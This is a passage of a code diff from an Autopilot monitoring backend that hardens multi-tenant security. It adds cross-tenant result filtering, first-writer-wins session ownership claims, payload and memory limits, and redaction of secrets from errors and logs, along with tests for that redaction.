var mainResult = await _tableClient.GetEntityAsync<TableEntity>(tenantId, shortCode);
@@ -82,7 +82,11 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
}
public async Task<List<SignalRecord>> QueryBySessionAsync(
string tenantId, string sessionId, int maxResults = 1000, CancellationToken cancellationToken = default)
string tenantId,
string sessionId,
int maxResults = 1000,
CancellationToken cancellationToken = default,
long maxTotalPayloadChars = SignalQueryLimits.DefaultMaxTotalPayloadChars)
{
SecurityValidator.EnsureValidGuid(tenantId, "TenantId");
SecurityValidator.EnsureValidGuid(sessionId, "SessionId");
@@ -96,10 +100,13 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
maxPerPage: Math.Min(maxResults, 1000),
cancellationToken: cancellationToken);
long totalPayloadChars = 0;
await foreach (var entity in pages.ConfigureAwait(false))
{
if (results.Count >= maxResults) break;
results.Add(FromEntity(entity));
if (results.Count >= maxResults || totalPayloadChars >= maxTotalPayloadChars) break;
var record = FromEntity(entity);
results.Add(record);
totalPayloadChars += record.PayloadJson.Length;
}
// RowKey is D19(SessionSignalOrdinal) — Azure Tables returns PK-scoped rows in RowKey
@@ -99,10 +99,12 @@ namespace AutopilotMonitor.Functions.Functions.Metrics
/// <summary>
/// GET /api/metrics/mcp-usage/user/{userId}?dateFrom=&amp;dateTo= — Usage for a specific user.
///
/// Catalog policy is TenantAdminOrGA, but the route has no TenantScoping — middleware can't
/// enforce cross-tenant access since {userId} is an Azure AD object id, not a tenant id.
/// We therefore enforce here: if the records' TenantId differs from the caller's tenant
/// (and the caller is not a Global Admin), block with 403.
/// Catalog policy is TenantAdminOrGlobalReader, but the route has no TenantScoping — middleware
/// can't enforce cross-tenant access since {userId} is an Azure AD object id, not a tenant id.
/// We therefore enforce here: non-global callers receive only the records attributed to their
/// own tenant (see <see cref="UsageCrossTenantGuard"/>). The response is always 200 — a foreign
/// oid and an unknown oid are indistinguishable, so the route is not a cross-tenant
/// user-existence oracle.
/// </summary>
[Function("GetMcpUserUsage")]
public async Task<HttpResponseData> GetUserUsage(
@@ -116,27 +118,24 @@ namespace AutopilotMonitor.Functions.Functions.Metrics
var dateFrom = req.Query["dateFrom"];
var dateTo = req.Query["dateTo"];
var records = await _userUsageRepo.GetUsageByUserAsync(userId, dateFrom, dateTo);
var allRecords = await _userUsageRepo.GetUsageByUserAsync(userId, dateFrom, dateTo);
var ctx = req.GetRequestContext();
if (UsageCrossTenantGuard.IsForeignTenantAccess(records, ctx.TenantId, ctx.HasGlobalScope))
var records = UsageCrossTenantGuard.FilterForCaller(allRecords, ctx.TenantId, ctx.HasGlobalScope);
var dropped = allRecords.Count - records.Count;
if (dropped > 0)
{
var foundTenants = records
// Ops signal only — the response shape is identical to an unknown oid.
var foreignTenants = allRecords
.Select(r => r.TenantId)
.Where(t => !string.IsNullOrEmpty(t))
.Where(t => !string.IsNullOrEmpty(t)
&& !string.Equals(t, ctx.TenantId, StringComparison.OrdinalIgnoreCase))
.Distinct(StringComparer.OrdinalIgnoreCase)
.ToArray();
_logger.LogWarning(
"[McpUsage] Blocked cross-tenant access: caller={Caller} callerTid={CallerTid} targetUser={UserId} foundTenants={Tenants}",
ctx.UserPrincipalName, ctx.TenantId, userId, string.Join(",", foundTenants));
var forbidden = req.CreateResponse(HttpStatusCode.Forbidden);
await forbidden.WriteAsJsonAsync(new
{
error = "CrossTenantAccessDenied",
message = "Access denied. You can only access usage for users in your own tenant."
});
return forbidden;
"[McpUsage] Filtered cross-tenant usage rows: caller={Caller} callerTid={CallerTid} targetUser={UserId} dropped={Dropped} foreignTenants={Tenants}",
ctx.UserPrincipalName, ctx.TenantId, userId, dropped, string.Join(",", foreignTenants));
}
var response = req.CreateResponse(HttpStatusCode.OK);
@@ -7,31 +7,37 @@ namespace AutopilotMonitor.Functions.Functions.Metrics;
///
/// The route accepts an Azure AD object id (oid), which has no inherent tenant scoping —
/// middleware can't validate it the way it does for <c>{tenantId}</c> routes. The function
/// therefore inspects the returned <see cref="UserUsageRecord"/>s and blocks the response
/// if any record belongs to a tenant other than the caller's, unless the caller is a Global Admin.
/// therefore projects the repository result down to the caller's own tenant before it is
/// returned. Two properties matter:
///
/// <list type="bullet">
/// <item>Records that cannot be attributed to the caller's tenant — foreign <c>TenantId</c>
/// OR an empty one (legacy rows / tokens without a resolvable tid) — are dropped for
/// non-global callers. Unattributed data is not the caller's data.</item>
/// <item>The filter is silent: a foreign oid and an unknown oid both yield an empty set, so
/// the response cannot be used as an existence oracle for users of other tenants.</item>
/// </list>
/// </summary>
public static class UsageCrossTenantGuard
{
/// <summary>
/// Returns true if the records contain at least one entry whose tenant differs from
/// <paramref name="callerTenantId"/> AND the caller is not a Global Admin.
/// Empty record sets and GA callers always pass (return false).
/// Returns the subset of <paramref name="records"/> the caller may see. Global-scope
/// callers (GA / Global Reader) see everything; everyone else sees only records whose
/// <see cref="UserUsageRecord.TenantId"/> equals <paramref name="callerTenantId"/>
/// (case-insensitive). A caller without a tenant id sees nothing.
/// </summary>
public static bool IsForeignTenantAccess(
IEnumerable<UserUsageRecord> records,
string callerTenantId,
bool isGlobalAdmin)
public static IReadOnlyList<UserUsageRecord> FilterForCaller(
IEnumerable<UserUsageRecord>? records,
string? callerTenantId,
bool hasGlobalScope)
{
if (isGlobalAdmin) return false;
if (records == null) return false;
if (string.IsNullOrEmpty(callerTenantId)) return false;
if (records == null) return Array.Empty<UserUsageRecord>();
if (hasGlobalScope) return records.ToList();
if (string.IsNullOrEmpty(callerTenantId)) return Array.Empty<UserUsageRecord>();
foreach (var r in records)
{
if (string.IsNullOrEmpty(r.TenantId)) continue;
if (!string.Equals(r.TenantId, callerTenantId, StringComparison.OrdinalIgnoreCase))
return true;
}
return false;
return records
.Where(r => !string.IsNullOrEmpty(r.TenantId)
&& string.Equals(r.TenantId, callerTenantId, StringComparison.OrdinalIgnoreCase))
.ToList();
}
}
@@ -90,7 +90,9 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
return await req.OkAsync(new
{
success = true,
truncated = signals.Count >= MaxSignalsToLoad || transitions.Count >= MaxTransitionsToLoad,
truncated = signals.Count >= MaxSignalsToLoad
|| transitions.Count >= MaxTransitionsToLoad
|| SignalQueryLimits.IsPayloadBudgetExhausted(signals, SignalQueryLimits.DefaultMaxTotalPayloadChars),
report,
});
}
@@ -71,7 +71,8 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
success = true,
sessionId,
count = signals.Count,
truncated = signals.Count >= maxResults,
truncated = signals.Count >= maxResults
|| SignalQueryLimits.IsPayloadBudgetExhausted(signals, SignalQueryLimits.DefaultMaxTotalPayloadChars),
signals,
});
}
@@ -38,6 +38,7 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
private readonly SessionDeletionGuard _deletionGuard;
private readonly AdminConfigurationService _adminConfigService;
private readonly SessionOwnerBindingObserver _ownerBinding;
private readonly OpsEventService _opsEvents;
public RegisterSessionFunction(
ILogger<RegisterSessionFunction> logger,
@@ -54,7 +55,8 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
BootstrapSessionService bootstrapSessionService,
WebhookNotificationService webhookNotificationService,
SessionDeletionGuard deletionGuard,
SessionOwnerBindingObserver ownerBinding)
SessionOwnerBindingObserver ownerBinding,
OpsEventService opsEvents)
{
_logger = logger;
_sessionRepo = sessionRepo;
@@ -71,6 +73,7 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
_webhookNotificationService = webhookNotificationService;
_deletionGuard = deletionGuard;
_ownerBinding = ownerBinding;
_opsEvents = opsEvents;
}
[Function("RegisterSession")]
@@ -145,6 +148,14 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
// agent-sent value unconditionally — this is the server's verdict, not input.
registration.ValidatedBy = validation.ValidatedBy;
// Device-supplied session anchor: clamp before ANY consumer sees it. StartedAt drives the
// SessionsIndex RowKey (list order), the retention filter ("StartedAt lt cutoff"), the
// TotalToday window and the supersede-predecessor comparison below — a far-future value
// would pin the row at the head of every list, inflate today's counters forever and
// never become a retention candidate. Same skew policy as event timestamps
// (EventTimestampValidator: +24h / -168h, clamped to server time, not rejected).
ClampStartedAt(registration, DateTime.UtcNow, _logger);
// Cascade-delete guard (Codex F2/F3 + bootstrap follow-up): live HERE in the shared
// core so BOTH the cert-auth /agent/register-session entry AND the bootstrap wrapper
// (BootstrapRegisterSessionFunction) hit it before the StoreSessionAsync below.
@@ -186,8 +197,26 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
var ownerDecision = _ownerBinding.Observe(
req, registration.TenantId, registration.SessionId, guardSessionRow, validation, "agent/register-session");
// Store session in Azure Table Storage
var stored = await _sessionRepo.StoreSessionAsync(registration, ownerDecision.OwnerToStamp);
// Store session in Azure Table Storage. The sessionId → tenantId lookup claim inside is
// first-writer-wins: a sessionId already owned by another tenant is refused with 409 so
// no tenant can poison the cross-tenant resolver (SessionTenantLookup) that Global
// Admin/Reader session reads and GA writes trust.
bool stored;
try
{
stored = await _sessionRepo.StoreSessionAsync(registration, ownerDecision.OwnerToStamp);
}
catch (SessionTenantConflictException conflict)
{
_logger.LogWarning(
"RegisterSession refused: session {SessionId} is owned by another tenant — requested tenant={TenantId} thumbprint={Thumbprint}",
registration.SessionId, registration.TenantId, validation.CertificateThumbprint);
_ = _opsEvents.RecordSessionTenantConflictAsync(
registration.TenantId, registration.SessionId, conflict.OwningTenantId,
validation.CertificateThumbprint, registration.AgentVersion, "agent/register-session")
.ContinueWith(t => _logger.LogWarning(t.Exception?.InnerException, "Fire-and-forget RecordSessionTenantConflictAsync failed"), TaskContinuationOptions.OnlyOnFaulted);
return new RegisterSessionOutput { HttpResponse = await WriteSessionTenantConflictAsync(req) };
}
if (!stored)
{
@@ -408,6 +437,49 @@ namespace AutopilotMonitor.Functions.Functions.Sessions
/// 410 Gone response for the cascade-delete guard. Mirrors the V2 ingest 410 contract so
/// the agent treats register and telemetry uniformly when a session is being deleted.
/// </summary>
/// <summary>
/// Clamps <see cref="SessionRegistration.StartedAt"/> to the same plausibility window
/// events get (<see cref="EventTimestampValidator.SanitizeTimestamp"/>): outside
/// [utcNow − 168h, utcNow + 24h] the anchor becomes the server receive time. Runs in the
/// shared core so the cert-auth and the bootstrap entry are covered alike. A re-registration
/// of an existing session keeps the earlier stored anchor regardless (StoreSessionAsync
/// takes the minimum), so a legitimately old WhiteGlove Part-2 resume is not moved.
/// </summary>
internal static void ClampStartedAt(SessionRegistration registration, DateTime utcNow, ILogger logger)
{
var original = registration.StartedAt;
var sanitized = EventTimestampValidator.SanitizeTimestamp(original, utcNow);
if (sanitized == EventTimestampValidator.EnsureUtc(original))
{
registration.StartedAt = sanitized;
return;
}
logger.LogWarning(
"Session {SessionId} (tenant {TenantId}): registration StartedAt {OriginalStartedAt:o} is outside the plausible window around server time {UtcNow:o} — clamped to server time",
registration.SessionId, registration.TenantId, original, utcNow);
registration.StartedAt = sanitized;
}
/// <summary>
/// 409 for a sessionId already owned by another tenant. Carries
/// <see cref="Constants.AgentErrorCodes.SessionOwnerMismatch"/> — the agent's correct reaction
/// is the same as for an owner-binding refusal: rotate the SessionId and register afresh.
/// The owning tenant is deliberately NOT disclosed to the caller.
/// </summary>
private static async Task<HttpResponseData> WriteSessionTenantConflictAsync(HttpRequestData req)
{
var response = req.CreateResponse(HttpStatusCode.Conflict);
await response.WriteAsJsonAsync(new RegisterSessionResponse
{
Success = false,
Message = "Session id is already registered to another tenant; register with a new session id.",
RegisteredAt = DateTime.UtcNow,
ErrorCode = Constants.AgentErrorCodes.SessionOwnerMismatch,
});
return response;
}
private static async Task<HttpResponseData> WriteSessionLockedAsync(HttpRequestData req, SessionDeletionLockedException locked)
{
var response = req.CreateResponse(HttpStatusCode.Gone);
@@ -176,10 +176,18 @@ public static class RequestContextExtensions
return ctx.TargetTenantId;
var resolvedTenantId = await sessionRepo.ResolveSessionTenantIdAsync(sessionId);
if (resolvedTenantId != null && !string.Equals(resolvedTenantId, ctx.TargetTenantId, StringComparison.OrdinalIgnoreCase))
return resolvedTenantId;
if (resolvedTenantId == null || string.Equals(resolvedTenantId, ctx.TargetTenantId, StringComparison.OrdinalIgnoreCase))
return ctx.TargetTenantId;
return ctx.TargetTenantId;
// WRITE paths corroborate the lookup against the Sessions row of the resolved tenant:
// the lookup is first-writer-wins at registration (StoreSessionAsync), but a mapping
// whose session does not exist must never steer a Global Admin write into that tenant.
// Silent for the operator — a miss just keeps the target tenant, so the endpoint's own
// not-found handling answers.
if (requireGlobalAdmin && await sessionRepo.GetSessionAsync(resolvedTenantId, sessionId) == null)
return ctx.TargetTenantId;
return resolvedTenantId;
}
/// <summary>Gets the correlation ID for this request (set by CorrelationIdMiddleware).</summary>
@@ -92,7 +92,9 @@ namespace AutopilotMonitor.Functions.Services
}
/// <summary>
/// Revokes a bootstrap session. Already-running agents with the token will be rejected on next request.
/// Revokes a bootstrap session owned by <paramref name="tenantId"/>. Already-running agents with
/// the token will be rejected on next request. Codes owned by another tenant are reported as
/// not found (false) — the repository enforces ownership against the CodeLookup partition.
/// </summary>
public async Task<bool> RevokeAsync(string tenantId, string shortCode)
{
@@ -105,7 +107,7 @@ namespace AutopilotMonitor.Functions.Services
_cache.Remove($"bootstrap-token:{session.Token}");
}
var result = await _bootstrapRepo.RevokeBootstrapSessionAsync(shortCode);
var result = await _bootstrapRepo.RevokeBootstrapSessionAsync(tenantId, shortCode);
if (result)
{
_logger.LogInformation("Revoked bootstrap session {ShortCode} for tenant {TenantId}", shortCode, tenantId);
@@ -298,6 +298,20 @@ namespace AutopilotMonitor.Functions.Services
/// re-enroll-without-wipe shape (same device, new certificate identity, old session id);
/// <c>serialMatch=false</c> is a foreign device naming somebody else's session.
/// </summary>
/// <summary>
/// A device/bootstrap-authenticated registration named a sessionId whose SessionTenantLookup
/// row belongs to ANOTHER tenant (first-writer-wins claim in <c>StoreSessionAsync</c>).
/// Session ids are random GUIDs — this is a forged registration or an agent bug, never a
/// legitimate collision. The registration was refused with 409. Recorded against the
/// requesting tenant; the owning tenant is only in the details.
/// </summary>
public Task RecordSessionTenantConflictAsync(
string requestedTenantId, string sessionId, string owningTenantId, string? certificateThumbprint, string? agentVersion, string endpoint)
=> WriteAsync(OpsEventCategory.Security, "SessionTenantConflict", OpsEventSeverity.Warning,
$"Registration refused on {endpoint}: session {sessionId} is owned by another tenant (409)",
requestedTenantId, "System.SessionTenantLookup",
new { sessionId, owningTenantId, certificateThumbprint, agentVersion, endpoint });
public Task RecordSessionOwnerMismatchAsync(
string tenantId, string sessionId, string outcome, string callerKind, string ownerKind,
bool serialMatch, string? agentVersion, string endpoint)
@@ -878,10 +892,15 @@ namespace AutopilotMonitor.Functions.Services
public Task RecordSlaBreachNotificationAsync(string tenantId, string breachType,
double currentRate, double targetRate, int totalSessions, int failedSessions)
=> WriteAsync(OpsEventCategory.Sla, "SlaBreachNotification", OpsEventSeverity.Warning,
$"SLA breach notification sent for tenant {tenantId}: {breachType} {currentRate:F1}% (target {targetRate:F1}%)",
{
// Duration breaches carry the P95 in minutes, every other type a percentage — same units the
// customer-facing alert (NotificationAlertBuilder.BuildSlaBreachAlert) prints.
var unit = breachType == Shared.Models.SlaBreachType.Duration ? " min" : "%";
return WriteAsync(OpsEventCategory.Sla, "SlaBreachNotification", OpsEventSeverity.Warning,
$"SLA breach notification sent for tenant {tenantId}: {breachType} {currentRate:F1}{unit} (target {targetRate:F1}{unit})",
tenantId, "System.SlaEvaluation",
new { breachType, currentRate, targetRate, totalSessions, failedSessions });
}
public Task RecordSlaConsecutiveFailuresAsync(string tenantId, int count, string? lastDevice, string? lastReason)
=> WriteAsync(OpsEventCategory.Sla, "SlaConsecutiveFailures", OpsEventSeverity.Error,
@@ -257,41 +257,24 @@ namespace AutopilotMonitor.Functions.Services
var orderedSignals = signals.OrderBy(s => s.SessionSignalOrdinal).ToList();
var orderedTransitions = transitions.OrderBy(t => t.StepIndex).ToList();
// Deserialise signals up-front — a single malformed blob at the head means we
// cannot start the replay at all.
var decodedSignals = new List<DecisionSignal>(orderedSignals.Count);
for (var i = 0; i < orderedSignals.Count; i++)
// A malformed blob at the head means the replay cannot start at all. Silent skip —
// PayloadJson stubs (common in structural tests) should not pollute the issue list;
// the SemanticReplaySkipReason field carries the diagnostic for real operators. This
// check runs BEFORE the journal is decoded so stubbed journals stay silent too.
DecisionSignal headSignal;
try
{
try
{
decodedSignals.Add(SignalSerializer.Deserialize(orderedSignals[i].PayloadJson));
}
catch (Exception ex)
{
if (i == 0)
{
// Silent skip at head — PayloadJson stubs (common in structural tests)
// should not pollute the issue list; the SemanticReplaySkipReason field
// carries the diagnostic for real operators.
report.SemanticReplaySkipReason = "deserialization_failure";
return;
}
// Mid-stream failure: truncate here, continue what we have. The divergence
// tail will surface as transition-count mismatch naturally.
report.Issues.Add(new VerificationIssue
{
Severity = "Warning",
Kind = "replay_deserialization_error",
Message = $"Signal at ordinal {orderedSignals[i].SessionSignalOrdinal} PayloadJson failed to deserialise; replay truncated here: {ex.GetType().Name}: {ex.Message}",
});
break;
}
headSignal = SignalSerializer.Deserialize(orderedSignals[0].PayloadJson);
}
catch
{
report.SemanticReplaySkipReason = "deserialization_failure";
return;
}
// Same for the journal — we need the semantic fields directly, and PayloadJson
// round-trips them via TransitionSerializer. The typed columns on the record are
// projections; the JSON is authoritative.
// The journal is decoded up-front — we need the semantic fields directly, and
// PayloadJson round-trips them via TransitionSerializer. The typed columns on the
// record are projections; the JSON is authoritative.
var decodedTransitions = new List<DecisionTransition>(orderedTransitions.Count);
for (var i = 0; i < orderedTransitions.Count; i++)
{
@@ -310,7 +293,7 @@ namespace AutopilotMonitor.Functions.Services
}
}
if (decodedSignals.Count == 0 || decodedTransitions.Count == 0)
if (decodedTransitions.Count == 0)
{
report.SemanticReplaySkipReason = "deserialization_failure";
return;
@@ -323,10 +306,40 @@ namespace AutopilotMonitor.Functions.Services
var state = DecisionState.CreateInitial(report.SessionId, report.TenantId);
var divergences = 0;
var stepsToCompare = Math.Min(decodedSignals.Count, decodedTransitions.Count);
for (var i = 0; i < stepsToCompare; i++)
// Signals are decoded one at a time and dropped after the fold (decode-fold-discard):
// device-uploaded PayloadJson is attacker-shaped and chunk-stored up to the ~1 MB
// entity limit, so materialising all 5000 decoded payloads at once would let a single
// poisoned session pin gigabytes on the worker. Peak memory is now one decoded signal
// plus the state. A mid-stream failure truncates the replay there (the divergence
// tail then surfaces as a transition-count mismatch naturally).
var decodedSignalCount = 0;
for (var i = 0; i < orderedSignals.Count; i++)
{
var step = engine.Reduce(state, decodedSignals[i]);
DecisionSignal signal;
try
{
signal = i == 0 ? headSignal : SignalSerializer.Deserialize(orderedSignals[i].PayloadJson);
}
catch (Exception ex)
{
report.Issues.Add(new VerificationIssue
{
Severity = "Warning",
Kind = "replay_deserialization_error",
Message = $"Signal at ordinal {orderedSignals[i].SessionSignalOrdinal} PayloadJson failed to deserialise; replay truncated here: {ex.GetType().Name}: {ex.Message}",
});
break;
}
decodedSignalCount++;
if (i >= decodedTransitions.Count)
{
// No stored transition to compare against — the signal still counts toward
// the signal/transition imbalance reported below, but is not folded.
continue;
}
var step = engine.Reduce(state, signal);
state = step.NewState;
var replayed = step.Transition;
var stored = decodedTransitions[i];
@@ -360,13 +373,13 @@ namespace AutopilotMonitor.Functions.Services
// Count imbalance between signals and stored transitions is itself a divergence:
// every signal should produce exactly one transition (taken or dead-end).
if (decodedSignals.Count != decodedTransitions.Count)
if (decodedSignalCount != decodedTransitions.Count)
{
report.Issues.Add(new VerificationIssue
{
Severity = "Warning",
Kind = "replay_divergence",
Message = $"Signal count ({decodedSignals.Count}) != transition count ({decodedTransitions.Count}); reducer should produce one transition per signal.",
Message = $"Signal count ({decodedSignalCount}) != transition count ({decodedTransitions.Count}); reducer should produce one transition per signal.",
});
}
@@ -0,0 +1,28 @@
using System;
namespace AutopilotMonitor.Functions.Services
{
/// <summary>
/// Thrown by <c>TableStorageService.StoreSessionAsync</c> when a registration names a sessionId
/// whose SessionTenantLookup row is already owned by a DIFFERENT tenant. The lookup is the
/// authority every global-scope cross-tenant session resolve trusts, so its write is
/// first-writer-wins: a tenant can never overwrite (poison) another tenant's mapping.
/// Session ids are 122-bit random — a genuine cross-tenant collision does not happen, so a
/// conflict is either a forged registration or an agent bug, and both must fail loudly
/// (409 Conflict) instead of silently retargeting the platform-operator data plane.
/// </summary>
public class SessionTenantConflictException : InvalidOperationException
{
public string SessionId { get; }
public string RequestedTenantId { get; }
public string OwningTenantId { get; }
public SessionTenantConflictException(string sessionId, string requestedTenantId, string owningTenantId)
: base($"Session {sessionId} is already registered to another tenant; registration for tenant {requestedTenantId} refused")
{
SessionId = sessionId;
RequestedTenantId = requestedTenantId;
OwningTenantId = owningTenantId;
}
}
}
@@ -459,6 +459,14 @@ namespace AutopilotMonitor.Functions.Services
try
{
// Ownership claim FIRST, before any Sessions/SessionsIndex write: the sessionId →
// tenantId lookup is first-writer-wins. A registration whose sessionId is already
// mapped to another tenant is refused here (SessionTenantConflictException → 409),
// so no tenant can poison the cross-tenant resolver and no foreign-owned sessionId
// ever gets a row in the caller's tenant. Not fail-soft: without the claim the
// session must not exist.
await ClaimSessionTenantLookupAsync(registration.SessionId, registration.TenantId);
var tableClient = _tableServiceClient.GetTableClient(Constants.TableNames.Sessions);
// If the agent restarts with the same session ID, preserve timeline/progress fields
@@ -818,13 +826,14 @@ namespace AutopilotMonitor.Functions.Services
// Dual-write: upsert into SessionsIndex for time-sorted listing
await UpsertSessionIndexAsync(entity, startedAt);
// Dual-write: sessionId → tenantId point-read lookup (fail-soft; legacy
// sessions heal lazily in ResolveSessionTenantIdAsync).
await UpsertSessionTenantLookupAsync(registration.SessionId, registration.TenantId);
_logger.LogInformation($"Stored session {registration.SessionId}");
return true;
}
catch (SessionTenantConflictException)
{
// Caller maps this to 409 — never swallow it into a generic "store failed".
throw;
}
catch (Exception ex)
{
_logger.LogError(ex, $"Failed to store session {registration.SessionId}");
@@ -1634,8 +1643,9 @@ namespace AutopilotMonitor.Functions.Services
var scanned = await ScanSessionsIndexForTenantIdAsync(sessionId);
if (scanned != null)
{
// Self-heal: next resolve for this legacy session is a point-read.
await UpsertSessionTenantLookupAsync(sessionId, scanned);
// Self-heal: next resolve for this legacy session is a point-read. Add-only —
// a row that landed meanwhile (a registration claim) is the authority, never ours.
await TryAddSessionTenantLookupAsync(sessionId, scanned);
}
return scanned;
}
@@ -1664,24 +1674,75 @@ namespace AutopilotMonitor.Functions.Services
}
}
private static TableEntity NewSessionTenantLookupRow(string sessionId, string tenantId)
=> new TableEntity(sessionId, SessionTenantLookupRowKey) { ["TenantId"] = tenantId };
/// <summary>
/// Writes the sessionId → tenantId lookup row (fail-soft: resolution still works via
/// the scan fallback when this write is lost).
/// Claims the sessionId → tenantId lookup row for <paramref name="tenantId"/> (first-writer-wins).
/// Create-only Add; on 409 the existing owner is read and must equal the caller's tenant
/// (normal re-registration), otherwise <see cref="SessionTenantConflictException"/>.
/// NOT fail-soft: a lost claim means a session without a trustworthy owner mapping, so
/// storage errors propagate and the registration fails as a whole.
/// </summary>
private async Task UpsertSessionTenantLookupAsync(string sessionId, string tenantId)
private async Task ClaimSessionTenantLookupAsync(string sessionId, string tenantId)
{
var lookupClient = _tableServiceClient.GetTableClient(Constants.TableNames.SessionTenantLookup);
// Two attempts cover the only benign race: the row is deleted (retention cascade)
// between our 409 and the read-back — the second Add then simply succeeds.
for (var attempt = 0; attempt < 2; attempt++)
{
try
{
await lookupClient.AddEntityAsync(NewSessionTenantLookupRow(sessionId, tenantId));
return;
}
catch (RequestFailedException ex) when (ex.Status == 409)
{
// Existing claim — re-registration by the owner, or a foreign tenant.
}
string? owner;
try
{
var existing = await lookupClient.GetEntityAsync<TableEntity>(sessionId, SessionTenantLookupRowKey);
owner = existing.Value.GetString("TenantId");
}
catch (RequestFailedException ex) when (ex.Status == 404)
{
continue; // deleted in between — retry the Add
}
if (string.Equals(owner, tenantId, StringComparison.OrdinalIgnoreCase))
return;
_logger.LogWarning(
"SessionTenantLookup claim refused: session {SessionId} is owned by tenant {OwningTenantId}, registration from tenant {RequestedTenantId} rejected",
sessionId, owner, tenantId);
throw new SessionTenantConflictException(sessionId, tenantId, owner ?? string.Empty);
}
throw new InvalidOperationException($"SessionTenantLookup claim for session {sessionId} did not converge");
}
/// <summary>
/// Self-heal write for legacy sessions (pre-lookup-table): Add-only, so it can never
/// overwrite an existing claim; fail-soft because resolution still works via the scan.
/// </summary>
private async Task TryAddSessionTenantLookupAsync(string sessionId, string tenantId)
{
try
{
var lookupClient = _tableServiceClient.GetTableClient(Constants.TableNames.SessionTenantLookup);
var row = new TableEntity(sessionId, SessionTenantLookupRowKey)
{
["TenantId"] = tenantId
};
await lookupClient.UpsertEntityAsync(row);
await lookupClient.AddEntityAsync(NewSessionTenantLookupRow(sessionId, tenantId));
}
catch (RequestFailedException ex) when (ex.Status == 409)
{
// Already claimed — the existing row is the authority.
}
catch (Exception ex)
{
_logger.LogWarning(ex, "Failed to upsert SessionTenantLookup for {SessionId}", sessionId);
_logger.LogWarning(ex, "Failed to add SessionTenantLookup for {SessionId}", sessionId);
}
}
@@ -232,7 +232,16 @@ namespace AutopilotMonitor.Functions.Services
}
catch (JsonException ex)
{
return PatchOutcome.Fail(PatchFailure.InvalidField, $"Field patch failed to apply: {ex.Message}");
// Deliberately NOT ex.Message: Newtonsoft quotes the offending VALUE in
// conversion errors, and a mistyped secret field (SAS/webhook URL sent
// where a number is expected) would echo it into the response and every
// log line downstream. The path names the field, which is all a caller
// needs to self-correct.
var path = (ex as JsonSerializationException)?.Path ?? (ex as JsonReaderException)?.Path;
return PatchOutcome.Fail(PatchFailure.InvalidField,
string.IsNullOrEmpty(path)
? "Field patch failed to apply: a value has the wrong JSON type for its field."
: $"Field patch failed to apply: value for \"{path}\" has the wrong JSON type (check get_tenant_config_schema).");
}
// Same normalization as the PUT: never store surrounding whitespace, and an
@@ -59,6 +59,33 @@ describe('summarizeArgs', () => {
const { summarizeArgs } = await loadTelemetry(false);
expect(summarizeArgs({})).toBeUndefined();
});
it("policy 'keys' renders only the property names of an object argument", async () => {
const { summarizeArgs } = await loadTelemetry(false);
const secret = 'https://example.invalid/webhook/AAAA-BBBB-SECRET';
const out = summarizeArgs(
{ tenantId: 't1', fields: { teamsWebhookUrl: secret, dataRetentionDays: 90 }, reason: 'rotate' },
{ fields: 'keys' },
)!;
expect(out.fields).toBe('teamsWebhookUrl,dataRetentionDays');
expect(JSON.stringify(out)).not.toContain('SECRET');
expect(JSON.stringify(out)).not.toContain('90');
expect(out.tenantId).toBe('t1');
expect(out.reason).toBe('rotate');
});
it("policy 'keys' never leaks a non-object value", async () => {
const { summarizeArgs } = await loadTelemetry(false);
const out = summarizeArgs({ s: 'top-secret', a: [1, 2] }, { s: 'keys', a: 'keys' })!;
expect(out.s).toBe('[string]');
expect(out.a).toBe('[array:2]');
});
it("policy 'drop' omits the argument entirely", async () => {
const { summarizeArgs } = await loadTelemetry(false);
const out = summarizeArgs({ token: 'abc', days: 7 }, { token: 'drop' })!;
expect(out).toEqual({ days: '7' });
});
});
describe('withToolTelemetry', () => {
@@ -88,6 +115,28 @@ describe('withToolTelemetry', () => {
expect(line.args).toEqual({ tenantId: 't1', days: '7' });
});
it('applies the arg policy to the log line — field names logged, secret values never', async () => {
const { withToolTelemetry } = await loadTelemetry(true);
const spy = vi.spyOn(console, 'error').mockImplementation(() => {});
const secret = 'https://example.invalid/webhook/AAAA-BBBB-SECRET?sig=abc';
const args = { tenantId: 't1', fields: { teamsWebhookUrl: secret }, reason: 'rotate' };
await withToolTelemetry('update_tenant_config', args, () => ({ content: [{ type: 'text', text: 'ok' }] }), { fields: 'keys' });
const raw = String(spy.mock.calls.at(-1)?.[0]);
expect(raw).toContain('teamsWebhookUrl');
expect(raw).not.toContain('SECRET');
expect(raw).not.toContain('sig=abc');
});
it('applies the arg policy on the soft-error path too', async () => {
const { withToolTelemetry } = await loadTelemetry(true);
const spy = vi.spyOn(console, 'error').mockImplementation(() => {});
const args = { tenantId: 't1', fields: { diagnosticsSasUrl: 'https://example.invalid/c?sv=SECRETSAS' }, reason: 'r' };
await withToolTelemetry('update_tenant_config', args, () => ({ isError: true, content: [{ type: 'text', text: 'Error: field not writable' }] }), { fields: 'keys' });
const raw = String(spy.mock.calls.at(-1)?.[0]);
expect(raw).toContain('diagnosticsSasUrl');
expect(raw).not.toContain('SECRETSAS');
});
it('flags overCap when the result exceeds the inline-size hint', async () => {
const { withToolTelemetry } = await loadTelemetry(true);
const spy = vi.spyOn(console, 'error').mockImplementation(() => {});
@@ -128,6 +128,7 @@ export const EVENT_TYPES_CATALOG = {
'realmjoin_first_deployment_incomplete',
'realmjoin_package_started',
'realmjoin_package_completed',
'realmjoin_autoupdate_detected',
],
deployment_events: [
'modern_deployment_log',
@@ -13,18 +13,45 @@ function cap(s: string, max: number): string {
return s.length > max ? s.slice(0, max) + `…(+${s.length - max})` : s;
}
/**
* Per-argument logging policy, declared at the tool's withToolTelemetry call
* site so schema, handler and log policy are reviewed together.
* - 'keys': log only the property NAMES of an object-valued argument. For
* update_tenant_config.fields this keeps the useful signal (which fields a
* Global Admin changes) while the clear-text values (webhook URLs, SAS URLs,
* custom headers) never reach the container log stream — the backend keeps
* them in the backup snapshot and the audit log, both GA-gated.
* - 'drop': omit the argument entirely (for arguments whose key alone reveals
* something, e.g. a plain-string secret).
* Arguments without a policy are rendered verbatim (capped).
*/
export type ArgPolicy = Record<string, 'keys' | 'drop'>;
function renderKeysOnly(value: unknown): string {
if (Array.isArray(value)) return `[array:${value.length}]`;
if (typeof value === 'object' && value !== null) return Object.keys(value).join(',');
